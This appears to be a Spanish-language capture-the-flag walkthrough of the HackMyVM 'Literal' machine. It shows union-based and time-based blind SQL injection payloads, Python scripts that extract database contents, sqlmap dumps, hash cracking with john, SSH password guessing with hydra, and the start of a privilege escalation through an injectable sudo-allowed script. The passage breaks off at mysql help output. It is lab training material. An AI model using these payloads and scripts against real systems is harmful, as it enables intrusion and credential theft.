xchg2pwn

xchg2pwn


Entusiasta del reversing y desarrollo de exploits



HackMyVM

Literal



Enumeración


Iniciamos la máquina escaneando los puertos de la máquina con nmap donde encontramos solo 2 puertos abiertos, donde corren los servicios ssh y http

❯ nmap 192.168.100.87
Nmap scan report for 192.168.100.87  
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Tramitando una simple petición con curl hacia la web, en las cabeceras de respuesta podemos encontrar que la web nos redirige al dominio blog.literal.hmv

❯ curl 192.168.100.87 -I
HTTP/1.1 301 Moved Permanently
Date: Fri, 05 May 2023 04:28:59 GMT
Server: Apache/2.4.41 (Ubuntu)
Location: http://blog.literal.hmv
Content-Type: text/html; charset=iso-8859-1  

Ya que estamos en local debemos agregar el dominio junto con la ip al archivo /etc/hosts para al apuntar a el la máquina local sepa a donde resolver

❯ echo "192.168.100.87 blog.literal.hmv" | sudo tee -a /etc/hosts  

Al abrir la página web desde el dominio nos encontramos con algunas pestañas

Podemos ver la pestaña login la cual al abrirla nos lleva a un panel de autenticación y aunque no tenemos credenciales podemos darle clic al botón Sign Up

Podemos registrar un usuario nuevo, en este caso usaremos testing tanto con el usuario como con la contraseña, volvemos al login e iniciamos sesión con el

Al autenticarnos podemos ver un dashboard ademas algunos botones, uno de ellos es para ver la lista de los proyectos en los que esta trabajando el usuario

Podemos ver una tabla y filtrar en la barra por el estado del proyecto, cualquiera de los que esta a la derecha deberia funcionar, en este caso podemos usar Done


SQL Injection - Union Based


Después de un rato notamos una inyección sql, despues de iterar sobre varias columnas podemos ver que existen las 5 que se ven reflejadas en la web

Done' order by 5-- -  

' union select 1,2,3,4,5-- -  

Podemos usar cualquier columna para la sqli en este caso la 2 para en ella con database() nos devuelva el nombre de la base de datos actualmente en uso

' union select 1,database(),3,4,5-- -  

La base de datos en uso es blog, podemos enumerar todas las bases de datos existentes, sin embargo no hay mas que las bases de datos por defecto de mysql

' union select 1,schema_name,3,4,5 from information_schema.schemata-- -  

Ahora enumeramos los nombres de las tablas que existen en la base de datos blog, una almacena los proyectos la que nos podria interesar es la tabla users

' union select 1,table_name,3,4,5 from information_schema.tables where table_schema='blog'-- -  

Ahora que sabemos que existe, enumeramos las columnas existentes especificando la tabla users de la base de datos blog, encontramos 5 columnas en total

' union select 1,column_name,3,4,5 from information_schema.columns where table_schema='blog' and table_name='users'-- -  

Podemos usar una columna para cada existente y asi ver reflejados todos los datos en la tabla users, esto incluye usuarios, identificadores y sus respectivos hashes

' union select usercreatedate,useremail,userid,username,userpassword from users-- -  

Otra forma es con sqlmap, con burpsuite interceptamos la petición para ver como se tramita, esto incluye la data enviada por POST y la cookie que necesitamos

Ahora con sqlmap definimos la petición indicando como se tramita la data y la cookie del usuario, con el parametro -dbs podemos enumerar las bases de datos

❯ sqlmap --batch --url http://blog.literal.hmv/next_projects_to_do.php --cookie PHPSESSID=t77t8gmfi9j2mhlp1f2i14rblu --data sentence-query=Done -dbs  
        ___
       __H__
 ___ ___[.]_____ ___ ___  {1.7.2#stable}
|_ -| . [(]     | .'| . |
|___|_  [,]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[23:08:02] [INFO] resuming back-end DBMS 'mysql' 
[23:08:02] [INFO] testing connection to the target URL
[23:08:02] [INFO] the back-end DBMS is MySQL
[23:08:02] [INFO] fetching database names
available databases [4]:
[*] blog
[*] information_schema
[*] mysql
[*] performance_schema

Podemos ver todas, con el parametro -D indicamos la base de datos blog y usando -tables podemos dumpear las tablas existentes de la base de datos indicada

❯ sqlmap --batch --url http://blog.literal.hmv/next_projects_to_do.php --cookie PHPSESSID=t77t8gmfi9j2mhlp1f2i14rblu --data sentence-query=Done -D blog -tables  
        ___
       __H__
 ___ ___[.]_____ ___ ___  {1.7.2#stable}
|_ -| . [(]     | .'| . |
|___|_  [,]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[23:08:03] [INFO] resuming back-end DBMS 'mysql'
[23:08:03] [INFO] testing connection to the target URL
[23:08:03] [INFO] the back-end DBMS is MySQL
[23:08:03] [INFO] fetching tables for database: 'blog'
Database: blog
[2 tables]
+----------+
| projects |
| users    |
+----------+

Indicamos con -T la tabla users existente y usando el parametro -dump podemos dumpear absolutamente todo el contenido de todas las columnas existentes

❯ sqlmap --batch --url http://blog.literal.hmv/next_projects_to_do.php --cookie PHPSESSID=t77t8gmfi9j2mhlp1f2i14rblu --data sentence-query=Done -D blog -T users -dump  
        ___
       __H__
 ___ ___[.]_____ ___ ___  {1.7.2#stable}
|_ -| . [(]     | .'| . |
|___|_  [,]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[23:08:04] [INFO] resuming back-end DBMS 'mysql'
[23:08:04] [INFO] testing connection to the target URL
[23:08:04] [INFO] the back-end DBMS is MySQL
[23:08:04] [INFO] fetching entries for table 'users' in database 'blog'
Database: blog
Table: users
[18 entries]
+--------+-----------+----------------------------------+--------------------------------------------------------------+---------------------+
| userid | username  | useremail                        | userpassword                                                 | usercreatedate      |
+--------+-----------+----------------------------------+--------------------------------------------------------------+---------------------+
| 1      | test      | test@blog.literal.htb            | $2y$10$wWhvCz1pGsKm..jh/lChIOA7aJoZRAil40YKlGFiw6B.6a77WzNma | 2023-04-07 17:21:47 |
| 2      | admin     | admin@blog.literal.htb           | $2y$10$fjNev2yv9Bi1IQWA6VOf9Owled5hExgUZNoj8gSmc7IdZjzuOWQ8K | 2023-04-07 17:21:47 |
| 3      | carlos    | carlos@blog.literal.htb          | $2y$10$ikI1dN/A1lhkKLmiKl.cJOkLiSgPUPiaRoopeqvD/.p.bh0w.bJBW | 2023-04-07 17:21:48 |
| 4      | freddy123 | freddy123@zeeli.moc              | $2y$10$yaf9nZ6UJkf8103R8rMdtOUC.vyZUek4vXVPas3CPOb4EK8I6eAUK | 2023-04-07 17:21:48 |
| 5      | jorg3_M   | jorg3_M@zeeli.moc                | $2y$10$lZ./Zflz1EEFdYbWp7VUK.415Ni8q9kYk3LJ2nF0soRJG1RymtDzG | 2023-04-07 17:21:48 |
| 6      | aNdr3s1to | aNdr3s1to@puertonacional.ply     | $2y$10$F2Eh43xkXR/b0KaGFY5MsOwlnh4fuEZX3WNhT3PxSw.6bi/OBA6hm | 2023-04-07 17:21:48 |
| 7      | kitty     | kitty@estadodelarte.moc          | $2y$10$rXliRlBckobgE8mJTZ7oXOaZr4S2NSwqinbUGLcOfCWDra6v9bxcW | 2023-04-07 17:21:48 |
| 8      | walter    | walter@forumtesting.literal.hmv  | $2y$10$er9GaSRv1AwIwu9O.tlnnePNXnzDfP7LQMAUjW2Ca1td3p0Eve6TO | 2023-04-07 17:21:48 |
| 9      | estefy    | estefy@caselogic.moc             | $2y$10$hBB7HeTJYBAtdFn7Q4xzL.WT3EBMMZcuTJEAvUZrRe.9szCp19ZSa | 2023-04-07 17:21:48 |
| 10     | michael   | michael@without.you              | $2y$10$sCbKEWGgAUY6a2Y.DJp8qOIa250r4ia55RMrDqHoRYU3Y7pL2l8Km | 2023-04-07 17:21:48 |
| 11     | r1ch4rd   | r1ch4rd@forumtesting.literal.hmv | $2y$10$7itXOzOkjrAKk7Mp.5VN5.acKwGi1ziiGv8gzQEK7FOFLomxV0pkO | 2023-04-07 17:21:48 |
| 12     | fel1x     | fel1x@without.you                | $2y$10$o06afYsuN8yk0yoA.SwMzucLEavlbI8Rl43.S0tbxL.VVSbsCEI0m | 2023-04-07 17:21:48 |
| 13     | kelsey    | kelsey@without.you               | $2y$10$vxN98QmK39rwvVbfubgCWO9W2alVPH4Dp4Bk7DDMWRvfN995V4V6. | 2023-04-07 17:21:48 |
| 14     | jtx       | jtx@tiempoaltiempo.hy            | $2y$10$jN5dt8syJ5cVrlpotOXibeNC/jvW0bn3z6FetbVU/CeFtKwhdhslC | 2023-04-07 17:21:48 |
| 15     | DRphil    | DRphil@alcaldia-tol.gob          | $2y$10$rW58MSsVEaRqr8uIbUeEeuDrYB6nmg7fqGz90rHYHYMt2Qyflm1OC | 2023-04-07 17:21:48 |
| 16     | carm3N    | carm3N@estadodelarte.moc         | $2y$10$D7uF6dKbRfv8U/M/mUj0KujeFxtbj6mHCWT5SaMcug45u7lo/.RnW | 2023-04-07 17:21:48 |
| 17     | lanz      | lanz@literal.htb                 | $2y$10$PLGN5.jq70u3j5fKpR8R6.Zb70So/8IWLi4e69QqJrM8FZvAMf..e | 2023-04-07 17:55:36 |
| 18     | testing   | test@test.test                   | $2y$10$tUnS0IJxE2pxC2qmusgp4uLhWtoLWFZKlO0lFOKQwZEsrajti7cbC | 2023-04-20 22:59:43 |
+--------+-----------+----------------------------------+--------------------------------------------------------------+---------------------+

Guardamos los hashes en un archivo y con john aplicamos fuerza bruta, aunque podemos conseguir varias credenciales el proceso es demasiado tardado

❯ john -w:/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt hashes
Using default input encoding: UTF-8
Loaded 18 password hashes with 18 different salts (bcrypt [Blowfish 32/64 X3])  
Cost 1 (iteration count) is 1024 for all loaded hashes
Press 'q' or Ctrl-C to abort, almost any other key for status
123456789        (freddy123)
butterfly        (estefy)
monica           (r1ch4rd)
hellokitty       (kitty)
50cent           (DRphil)
slipknot         (jorg3_M)
michael1         (michael)
147258369        (fel1x)
kelsey           (kelsey)
741852963        (walter)
zxcvbnm,./       (jtx)
carlos12         (carlos)
Use the "--show" option to display all of the cracked passwords reliably
Session aborted

Esto nos deja varias credenciales, las guardamos en un archivo y con hydra aplicamos fuerza bruta contra ssh, sin embargo no conseguimos ninguna válida

❯ cat credentials   
carlos:carlos12
freddy123:123456789
jorg3_M:slipknot
kitty:hellokitty
walter:741852963
estefy:butterfly
michael:michael1
r1ch4rd:monica
fel1x:147258369
kelsey:kelsey
jtx:zxcvbnm,./
DRphil:50cent

❯ hydra -C credentials ssh://192.168.100.87
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting
[DATA] max 12 tasks per 1 server, overall 12 tasks, 12 login tries  
[DATA] attacking ssh://192.168.100.87:22/
1 of 1 target completed, 0 valid password found
ydra (https://github.com/vanhauser-thc/thc-hydra) finished


SQL Injection - Time Based


Si miramos los correos que dumpeamos mediante la inyección sql podemos ver un nuevo subdominio, el cual es forumtesting.literal.hmv asi que lo agregamos

walter@forumtesting.literal.hmv  

❯ echo "192.168.100.87 forumtesting.literal.hmv" | sudo tee -a /etc/hosts  

Podemos ver una página de categorias donde al ver los detalles del foro nos envia a una nueva página, la cual se gestiona mediante el parametro category_id

Aqui también encontramos una inyección sql pero esta vez blind basada en tiempo, al pasarle como parametro 2 and sleep(5)-- - tarda 5 segundos

Podemos aplicar una comparación con substr para mediante un if decirle que si la primera posición del resultado de database() es a tarde 5 segundos

2 and if(substr(database(),1,1)='a', sleep(5),1)-- -  

Al cambiar la primera letra de la comparación por f, esta se cumple y tarda 5 segundos en responder, quiere decir que la primera letra de la base de datos es f

Siguiendo esa logica podemos automatizar todo en un script de python, el que itere sobre los caracteres y las posiciones, cuando el tiempo de respuesta de la petición sea mayor a 1 segundo el caracter actual se sumara al valor final

#!/usr/bin/python3
from pwn import log
import string, requests, time

characters = string.ascii_lowercase + string.punctuation
bar = log.progress("Database")

value = "\n\033[0;37m[\033[0;34m*\033[0;37m] "

for position in range(0,20):
    for character in characters:
        query = f"2 and if(substr((select database()),{position},1)='{character}',sleep(2),1)-- -"  
        time_start = time.time()
        requests.get("http://forumtesting.literal.hmv/category.php?category_id=" + query)
        time_end = time.time()

        if (time_end - time_start) > 1:
            value += character
            bar.status(value)

bar.success(value)

Corremos el script y podemos ver que el caracter + lo toma como positivo cuando probablemente no lo es, asi que modificamos el script para quitarlo

❯ python3 exploit.py  
[] Database:
    [*] +foru

characters = string.ascii_lowercase + string.punctuation  
characters = characters.replace("+","")

Ejecutamos de nuevo el script y ahora conseguimos el nombre completo de la base de datos actualmente en uso, que esta vez es forumtesting

❯ python3 exploit.py  
[+] Database:
    [*] forumtesting

Ahora en lugar de database() seleccionaremos el schema_name también iteraremos sobre otro rango del 0 al 5 para iterar sobre todos los resultados

#!/usr/bin/python3
from pwn import log
import string, requests, time

characters = string.ascii_lowercase + string.punctuation
characters = characters.replace("+","")
bar = log.progress("Database")

value = ""

for db in range(0,5):
    value += "\n\033[0;37m[\033[0;34m*\033[0;37m] "
    for position in range(0,20):
        for character in characters:
            query = f"2 and if(substr((select schema_name from information_schema.schemata limit {db},1),{position},1)='{character}',sleep(2),1)-- -"  
            time_start = time.time()
            requests.get("http://forumtesting.literal.hmv/category.php?category_id=" + query)
            time_end = time.time()

            if (time_end - time_start) > 1:
                value += character
                bar.status(value)

bar.success(value)

Ejecutamos el script y obtenemos todas las bases de datos existentes, de nuevo podemos ver bases de datos por defecto asi que seguiremos con forumtesting

❯ python3 exploit.py
[+] Databases:
    [*] information_schema  
    [*] performance_schema  
    [*] forumtesting

Ahora modificaremos el script prara iterar no sobres las bases de datos si no por las tablas, seleccionando table_name donde la base de datos sea forumtesting

#!/usr/bin/python3
from pwn import log
import string, requests, time

characters = string.ascii_lowercase + string.punctuation
characters = characters.replace("+","")
bar = log.progress("Tables")

value = ""

for table in range(0,5):
    value += "\n\033[0;37m[\033[0;34m*\033[0;37m] "
    for position in range(0,20):
        for character in characters:
            query = f"2 and if(substr((select table_name from information_schema.tables where table_schema='forumtesting' limit {table},1),{position},1)='{character}',sleep(2),1)-- -"  
            time_start = time.time()
            requests.get("http://forumtesting.literal.hmv/category.php?category_id=" + query)
            time_end = time.time()

            if (time_end - time_start) > 1:
                value += character
                bar.status(value)

bar.success(value)

Al ejecutarlo obtenemos todas las tablas existentes en la base de datos forumtesting, en total encontramos 5 de ellas, aunque no todas son interesantes

❯ python3 exploit.py
[+] Tables:
    [*] forum_category  
    [*] forum_owner
    [*] forum_posts
    [*] forum_topics
    [*] forum_users

En el script crearemos una lista con las tablas para despues iterar sobre cada una de ellas y seleccionando colum_name dumpear las columnas de todas ellas

#!/usr/bin/python3
from pwn import log
import string, requests, time

characters = string.ascii_lowercase + string.punctuation
characters = characters.replace("+","")

tables = ["forum_category", "forum_owner", "forum_posts", "forum_topics", "forum_users"]

for table in tables:
    print("\r")
    bar = log.progress(f"Dumpeando columnas de {table}")

    value = ""

    for column in range(0,6):
        value += "\n\033[0;37m[\033[0;34m*\033[0;37m] "
        for position in range(0,20):
            for character in characters:
                query = f"2 and if(substr((select column_name from information_schema.columns where table_schema='forumtesting' and table_name='{table}' limit {column},1),{position},1)='{character}',sleep(2),1)-- -"  
                time_start = time.time()
                requests.get("http://forumtesting.literal.hmv/category.php?category_id=" + query)
                time_end = time.time()

                if (time_end - time_start) > 1:
                    value += character
                    bar.status(value)

    bar.success(value)

Ejecutamos y podemos ver las columnas de todas las tablas, realmente solo hay 2 que nos podrian interesar y estas son las tablas forum_owner y forum_users

❯ python3 exploit.py
[+] Dumpeando columnas de forum_category:  
    [*] category_id
    [*] description
    [*] name

[+] Dumpeando columnas de forum_owner:
    [*] created
    [*] email
    [*] id
    [*] password
    [*] username

[+] Dumpeando columnas de forum_posts:
    [*] created
    [*] message
    [*] name
    [*] post_id
    [*] topic_id
    [*] user_id

[+] Dumpeando columnas de forum_topics:
    [*] category_id
    [*] created
    [*] subject
    [*] topic_id
    [*] user_id

[+] Dumpeando columnas de forum_users:
    [*] email
    [*] name
    [*] password
    [*] user_id
    [*] username

Iniciamos con la tabla forum_owner, creamos una lista con sus columnas e iterando sobre cada una de ellas en la tabla users de la database, obtenemos sus valores

#!/usr/bin/python3
from pwn import log
import string, requests, time

characters = string.ascii_lowercase + string.punctuation + string.digits
characters = characters.replace("+","")

columns = ["created", "email", "id", "username", "password"]

for column in columns:
    print("\r")
    bar = log.progress(f"Dumpeando columna {column}")

    value = ""

    for dump in range(0,2):
        value += "\n\033[0;37m[\033[0;34m*\033[0;37m] "
        for position in range(0,32):
            for character in characters:
                query = f"2 and if(substr((select {column} from forum_owner limit {dump},1),{position},1)='{character}',sleep(2),1)-- -"  
                time_start = time.time()
                requests.get("http://forumtesting.literal.hmv/category.php?category_id=" + query)
                time_end = time.time()

                if (time_end - time_start) > 1:
                    value += character
                    bar.status(value)

    bar.success(value)

Al ejecutarlo obtenemos todos los datos de la tabla forum_owner, sin embargo parece que la columna password esta limitandose por el rango de solo 32

❯ python3 exploit.py
[+] Dumpeando columna created: 
    [*] 2022-02-12

[+] Dumpeando columna email: 
    [*] carlos@forumtesting.literal.htb

[+] Dumpeando columna id: 
    [*] 1

[+] Dumpeando columna username: 
    [*] carlos

[+] Dumpeando columna password: 
    [*] 6705fe62010679f04257358241792b4

Eliminamos todas las demas columnas para quedarnos solo con password y cambiamos el rango de 32 caracteres a 130, ejecutamos y obtenemos el hash

columns = ["password"]
.....................................
        for position in range(0,130):  

❯ python3 exploit.py
[+] Dumpeando columna password: 
    [*] 6705fe62010679f04257358241792b41acba4ea896178a40eb63c743f5317a09faefa2e056486d55e9c05f851b222e6e7c5c1bd22af135157aa9b02201cf4e99  

Nuevamente esto pudimos hacerlo con sqlmap, con el parametro -dbs obtenemos todas las bases de datos existentes, entre ellas la que usamos forumtesting

❯ sqlmap --batch --url "http://forumtesting.literal.hmv/category.php?category_id=2" -dbs  
        ___
       __H__
 ___ ___[.]_____ ___ ___  {1.7.2#stable}
|_ -| . [(]     | .'| . |
|___|_  [,]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[23:10:04] [INFO] resuming back-end DBMS 'mysql' 
[23:10:04] [INFO] testing connection to the target URL
[23:10:04] [INFO] the back-end DBMS is MySQL
[23:10:04] [INFO] fetching database names
[23:10:04] [INFO] fetching number of databases
[23:10:04] [INFO] retrieved: 3
[23:10:04] [INFO] retrieved: information_schema
[23:10:04] [INFO] retrieved: performance_schema
[23:10:04] [INFO] retrieved: forumtesting
available databases [3]:
[*] forumtesting
[*] information_schema
[*] performance_schema

Ahora con -tables dumpearemos todas las tablas de la base de datos forumtesting, esto nos dejara las tablas entre ellas forum_owner que nos interesa

❯ sqlmap --batch --url "http://forumtesting.literal.hmv/category.php?category_id=2" -D forumtesting -tables  
        ___
       __H__
 ___ ___[.]_____ ___ ___  {1.7.2#stable}
|_ -| . [(]     | .'| . |
|___|_  [,]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[23:10:05] [INFO] resuming back-end DBMS 'mysql'
[23:10:05] [INFO] testing connection to the target URL
[23:10:05] [INFO] the back-end DBMS is MySQL
[23:10:04] [INFO] fetching tables for database: 'forumtesting'
[23:10:04] [INFO] fetching number of tables for database 'forumtesting'
[23:10:04] [INFO] resumed: 5
[23:10:04] [INFO] resumed: forum_category
[23:10:04] [INFO] resumed: forum_owner
[23:10:04] [INFO] resumed: forum_posts
[23:10:04] [INFO] resumed: forum_topics
[23:10:04] [INFO] resumed: forum_users
Database: forumtesting
[5 tables]
+----------------+
| forum_category |
| forum_owner    |
| forum_posts    |
| forum_topics   |
| forum_users    |
+----------------+

Simplemente con el parametro -dump dumpeamos todo el contenido de las columnas de la tabla forum_owner de la base de datos forumtesting

❯ sqlmap --batch --url "http://forumtesting.literal.hmv/category.php?category_id=2" -D forumtesting -T forum_owner -dump  
        ___
       __H__
 ___ ___[.]_____ ___ ___  {1.7.2#stable}
|_ -| . [(]     | .'| . |
|___|_  [,]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[23:10:05] [INFO] resuming back-end DBMS 'mysql'
[23:10:05] [INFO] testing connection to the target URL
[23:10:05] [INFO] the back-end DBMS is MySQL
[23:10:05] [INFO] fetching columns for table 'forum_owner' in database 'forumtesting'
[23:10:05] [INFO] resumed: 5
[23:10:05] [INFO] resumed: created
[23:10:05] [INFO] resumed: email
[23:10:05] [INFO] resumed: id
[23:10:05] [INFO] resumed: password
[23:10:05] [INFO] resumed: username
[23:10:05] [INFO] fetching entries for table 'forum_owner' in database 'forumtesting'
[23:10:05] [INFO] fetching number of entries for table 'forum_owner' in database 'forumtesting'
[23:10:05] [INFO] resumed: 1
[23:10:05] [INFO] resumed: 2022-02-12
[23:10:05] [INFO] resumed: carlos@forumtesting.literal.htb
[23:10:05] [INFO] resumed: 1
[23:10:05] [INFO] resumed: 6705fe62010679f04257358241792b41acba4ea896178a40eb63c743f5317a09faefa2e056486d55e9c05f851b222e6e7c5c1bd22af135157aa9b02201cf4e99
[23:10:05] [INFO] resumed: carlos
Database: forumtesting
Table: forum_owner
[1 entry]
+----+---------------------------------+------------+----------------------------------------------------------------------------------------------------------------------------------+----------+
| id | email                           | created    | password                                                                                                                         | username |
+----+---------------------------------+------------+----------------------------------------------------------------------------------------------------------------------------------+----------+
| 1  | carlos@forumtesting.literal.htb | 2022-02-12 | 6705fe62010679f04257358241792b41acba4ea896178a40eb63c743f5317a09faefa2e056486d55e9c05f851b222e6e7c5c1bd22af135157aa9b02201cf4e99 | carlos   |
+----+---------------------------------+------------+----------------------------------------------------------------------------------------------------------------------------------+----------+  

Aplicando fuerza bruta al hash con john obtenemos la contraseña de carlos

❯ john -w:/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt hash --format=Raw-SHA512  
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-SHA512 [SHA512 128/128 XOP 2x])
Warning: poor OpenMP scalability for this hash type, consider --fork=3
Press 'q' or Ctrl-C to abort, almost any other key for status
forum100889      (carlos)
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Sin embargo al comprobar las credenciales con hydra hacia la maquina victima, igual que antes esta contraseña no es válida para ssh como el usuario carlos

❯ hydra -l carlos -p forum100889 ssh://192.168.100.87
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting
[DATA] max 1 task per 1 server, overall 1 task, 1 login try (l:1/p:1)  
[DATA] attacking ssh://192.168.100.87:22/
1 of 1 target completed, 0 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished


Shell - carlos


Aunque tarde bastante en llegar a esta conclusión, sabemos que la contraseña forum100889 es valida para el forum, asi que tal vez use ssh100889 para ssh

forum100889   -->   forum  
ssh100889   -->   ssh

Comprobamos con hydra y esta contraseña es válida para el usuario carlos

❯ hydra -l carlos -p ssh100889 ssh://192.168.100.87
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting
[DATA] max 1 task per 1 server, overall 1 task, 1 login try (l:1/p:1)  
[DATA] attacking ssh://192.168.100.87:22/
[22][ssh] host: 192.168.100.87   login: carlos   password: ssh100889
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished

Simplemente nos conectamos por ssh y obtenemos la primera flag de la máquina

❯ ssh carlos@192.168.100.87
carlos@192.168.100.87's password: ssh100889
carlos@literal:~$ id
uid=1000(carlos) gid=1000(carlos) groups=1000(carlos)  
carlos@literal:~$ hostname -I
192.168.100.87
carlos@literal:~$ cat user.txt
6d3**************************222
carlos@literal:~$


Shell - root


Si miramos privilegios a nivel de sudoers, podemos ejecutar como root un script en python con cualquier argumento, tenemos capacidad de lectura sobre script

carlos@literal:~$ sudo -l
Matching Defaults entries for carlos on literal:
    secure_path=/usr/local/bin\:/usr/sbin\:/usr/bin\:/bin\:/snap/bin  

User carlos may run the following commands on literal:
    (root) NOPASSWD: /opt/my_things/blog/update_project_status.py *
carlos@literal:~$

carlos@literal:~$ cat /opt/my_things/blog/update_project_status.py
#!/usr/bin/python3

# Learning python3 to update my project status
## (mental note: This is important, so administrator is my safe to avoid upgrading records by mistake) :P

'''
References:
* MySQL commands in Linux: https://www.shellhacks.com/mysql-run-query-bash-script-linux-command-line/
* Shell commands in Python: https://stackabuse.com/executing-shell-commands-with-python/
* Functions: https://www.tutorialspoint.com/python3/python_functions.htm
* Arguments: https://www.knowledgehut.com/blog/programming/sys-argv-python-examples
* Array validation: https://stackoverflow.com/questions/7571635/fastest-way-to-check-if-a-value-exists-in-a-list
* Valid if root is running the script: https://stackoverflow.com/questions/2806897/what-is-the-best-way-for-checking-if-the-user-of-a-script-has-root-like-privileg
'''

import os
import sys
from datetime import date

# Functions ------------------------------------------------.
def execute_query(sql):
    os.system("mysql -u " + db_user + " -D " + db_name + " -e \"" + sql + "\"")

# Query all rows
def query_all():
    sql = "SELECT * FROM projects;"
    execute_query(sql)

# Query row by ID
def query_by_id(arg_project_id):
    sql = "SELECT * FROM projects WHERE proid = " + arg_project_id + ";"
    execute_query(sql)

# Update database
def update_status(enddate, arg_project_id, arg_project_status):
    if enddate != 0:
        sql = f"UPDATE projects SET prodateend = '" + str(enddate) + "', prostatus = '" + arg_project_status + "' WHERE proid = '" + arg_project_id + "';"
    else:
        sql = f"UPDATE projects SET prodateend = '2222-12-12', prostatus = '" + arg_project_status + "' WHERE proid = '" + arg_project_id + "';"

    execute_query(sql)

# Main program
def main():
    # Fast validation
    try:
        arg_project_id = sys.argv[1]
    except:
        arg_project_id = ""

    try:
        arg_project_status = sys.argv[2]
    except:
        arg_project_status = ""

    if arg_project_id and arg_project_status: # To update
        # Avoid update by error
        if os.geteuid() == 0:
            array_status = ["Done", "Doing", "To do"]
            if arg_project_status in array_status:
                print("[+] Before update project (" + arg_project_id + ")\n")
                query_by_id(arg_project_id)

                if arg_project_status == 'Done':
                    update_status(date.today(), arg_project_id, arg_project_status)
                else:
                    update_status(0, arg_project_id, arg_project_status)
            else:
                print("Bro, avoid a fail: Done - Doing - To do")
                exit(1)

            print("\n[+] New status of project (" + arg_project_id + ")\n")
            query_by_id(arg_project_id)
        else:
            print("Ejejeeey, avoid mistakes!")
            exit(1)

    elif arg_project_id:
        query_by_id(arg_project_id)
    else:
        query_all()

# Variables ------------------------------------------------.
db_user = "carlos"
db_name = "blog"

# Main program
main()
carlos@literal:~$

El funcionamiento del programa es relativamente sencillo, al ejecutarlo sin ningun argumento simplemente nos lista todas las columnas de la tabla projects

carlos@literal:~$ sudo /opt/my_things/blog/update_project_status.py
+-------+--------------------------------------------------------------+---------------------+------------+-----------+
| proid | proname                                                      | prodatecreated      | prodateend | prostatus |
+-------+--------------------------------------------------------------+---------------------+------------+-----------+
|     1 | Ascii Art Python - ABCdario with colors                      | 2021-09-20 17:51:59 | 2021-09-20 | Done      |
|     2 | Ascii Art Python - Show logos only with letter A             | 2021-09-20 18:06:22 | 2222-12-12 | To do     |
|     3 | Ascii Art Bash - Show musical stores (WTF)                   | 2021-09-20 18:06:50 | 2222-12-12 | To do     |
|     4 | Forum - Add that people can send me bug reports of projects  | 2023-04-07 17:40:41 | 2023-11-01 | Doing     |
|     5 | Validate syntax errors on blog pages                         | 2021-09-20 18:07:43 | 2222-12-12 | Doing     |
|     6 | Script to extract info from files and upload it to any DB    | 2021-09-20 18:07:58 | 2222-12-12 | Doing     |
|     7 | Forum - Implement forum form                                 | 2023-04-07 17:46:38 | 2023-11-01 | Doing     |
|     8 | Add that people can create their own projects on DB          | 2021-09-20 18:49:52 | 2222-12-12 | To do     |
|     9 | Ascii Art C - Start learning Ascii Art with C                | 2021-09-20 18:50:02 | 2222-12-12 | To do     |
|    10 | Ascii Art Bash - Welcome banner preview in blog home         | 2021-09-20 18:50:08 | 2222-12-12 | To do     |
|    11 | Blog - Create login and register form                        | 2023-04-07 17:40:28 | 2023-08-21 | Done      |
|    12 | Blog - Improve the appearance of the dashboard/projects page | 2021-09-20 18:50:18 | 2222-12-12 | Doing     |
+-------+--------------------------------------------------------------+---------------------+------------+-----------+  
carlos@literal:~$

Lo que hace con el primer argumento es listar todas las columnas de la tabla projects pero donde el proid sea igual al argumento que en este caso es 1

carlos@literal:~$ sudo /opt/my_things/blog/update_project_status.py 1
+-------+-----------------------------------------+---------------------+------------+-----------+
| proid | proname                                 | prodatecreated      | prodateend | prostatus |
+-------+-----------------------------------------+---------------------+------------+-----------+
|     1 | Ascii Art Python - ABCdario with colors | 2023-05-05 05:04:56 | 2023-05-05 | Done      |
+-------+-----------------------------------------+---------------------+------------+-----------+  
carlos@literal:~$

El segundo argumento actualiza el valor prostatus del proid seleccionado en el primer argumento a cualquiera de los siguientes valores, Done, Doing y To do

carlos@literal:~$ sudo /opt/my_things/blog/update_project_status.py 1 "To do"
[+] Before update project (1)

+-------+-----------------------------------------+---------------------+------------+-----------+
| proid | proname                                 | prodatecreated      | prodateend | prostatus |
+-------+-----------------------------------------+---------------------+------------+-----------+
|     1 | Ascii Art Python - ABCdario with colors | 2023-05-05 05:05:28 | 2023-05-05 | Done      |
+-------+-----------------------------------------+---------------------+------------+-----------+

[+] New status of project (1)

+-------+-----------------------------------------+---------------------+------------+-----------+
| proid | proname                                 | prodatecreated      | prodateend | prostatus |
+-------+-----------------------------------------+---------------------+------------+-----------+
|     1 | Ascii Art Python - ABCdario with colors | 2023-05-05 05:05:42 | 2222-12-12 | To do     |
+-------+-----------------------------------------+---------------------+------------+-----------+  
carlos@literal:~$

La vulnerabilidad salta a la vista, el primer argumento se guarda en arg_project_id que se ejecuta en una query sql sin mas, en pocas palabras ejecutaria algo asi

def main():
    # Fast validation
    try:
        arg_project_id = sys.argv[1]
    except:
        arg_project_id = ""


def query_by_id(arg_project_id):
    sql = "SELECT * FROM projects WHERE proid = " + arg_project_id + ";"  
    execute_query(sql)

SELECT * FROM projects WHERE proid = sys.argv[1];  

En la ayuda de mysql, podemos ver que hay un parametro para ejecutar comandos el cual es \! podemos ejecutar un simple id para comprobarlo, lo ejecuta carlos

carlos@literal:~$ mysql
mysql> \h

For information about MySQL products and services, visit:
   http://www.mysql.com/
For developer information, including the MySQL Reference Manual, visit:
   http://dev.mysql.com/
To buy MySQL Enterprise support, training, or other products, visit:
   https://shop.mysql.com/

List of all MySQL commands:
Note that all text commands must be first on line and end with ';'
